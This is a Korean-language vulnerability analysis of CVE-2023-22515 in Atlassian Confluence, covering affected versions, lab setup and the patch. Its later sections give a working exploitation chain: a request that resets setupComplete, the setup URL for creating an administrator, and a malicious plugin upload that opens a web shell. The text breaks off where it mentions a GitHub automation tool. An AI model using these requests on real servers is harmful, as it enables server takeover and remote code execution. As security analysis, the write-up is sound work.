0x01 취약점 개요
Confluence는 Atlassian이 개발한 기업용 협업 플랫폼입니다. 2023년 10월 Atlassian은 CVE-2023-22515로 명명된 권한 상승 취약점을 공개했습니다. 이 취약점을 악용하면 공격자가 악성 요청을 통해 관리자 계정을 생성하고 시스템에 접근하여 민감한 정보를 유출할 수 있습니다.
다만 Atlassian Cloud 도메인(atlassian.net)에서 호스팅되는 Confluence 인스턴스는 영향을 받지 않습니다.
0x02 영향을 받는 버전
- 8.0.0 - 8.0.4
- 8.1.0 - 8.1.4
- 8.2.0 - 8.2.3
- 8.3.0 - 8.3.2
- 8.4.0 - 8.4.2
- 8.5.0 - 8.5.1
0x03 환경 구성
Confluence 설치 파일은 아래 링크에서 다운로드할 수 있습니다:
샘플 다운로드 링크:
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.1.zip
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.2.zip
데이터베이스 설정 시 UTF8MB4 인코딩이 필수입니다:
CREATE DATABASE confluence CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;
연결 문자열:
jdbc:mysql://localhost/confluence?sessionVariables=transaction_isolation='READ-COMMITTED'
설치 시 READ-COMMITTED 트랜잭션 격리 수준을 지정해야 합니다.
0x04 취약점 분석
공식 패치 내역을 보면 /setup/* 경로에 대해 보안 제약 조건을 추가했습니다:
<security-constraint>
<web-resource-collection>
<url-pattern>/setup/*</url-pattern>
<http-method-omission>*</http-method-omission>
</web-resource-collection>
<auth-constraint />
</security-constraint>
Confluence는 Struts2 기반으로 구축되어 있으며, 이 취약점은 Struts2의 파라미터 처리 방식에서 비롯됩니다. SafeParametersInterceptor 클래스 내부 로직의 문제로 인해 필터링이 우회될 수 있었고, OGNL 표현식을 통해 객체의 getter/setter에 접근할 수 있었습니다.
예를 들어 아래와 같은 요청을 통해 setupComplete 값을 조작할 수 있었습니다:
http://target/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
이후 아래 경로로 접근하여 관리자 계정을 재설정할 수 있습니다:
http://target/setup/setupadministrator-start.action
0x05 권한 상승 후 RCE
Confluence는 플러그인 시스템을 지원하므로, 공격자는 인증 없이 플러그인을 업로드하여 원격 코드 실행을 수행할 수 있습니다:
http://target/plugins/servlet/upm
악성 플러그인 plugin_shellplug.jar를 업로드한 후 다음 경로로 쉘에 접근할 수 있습니다:
http://target/plugins/servlet/com.jsos.shell/ShellServlet
이 기술은 GitHub에서 이미 공개된 도구를 통해 자동화할 수 있습니다: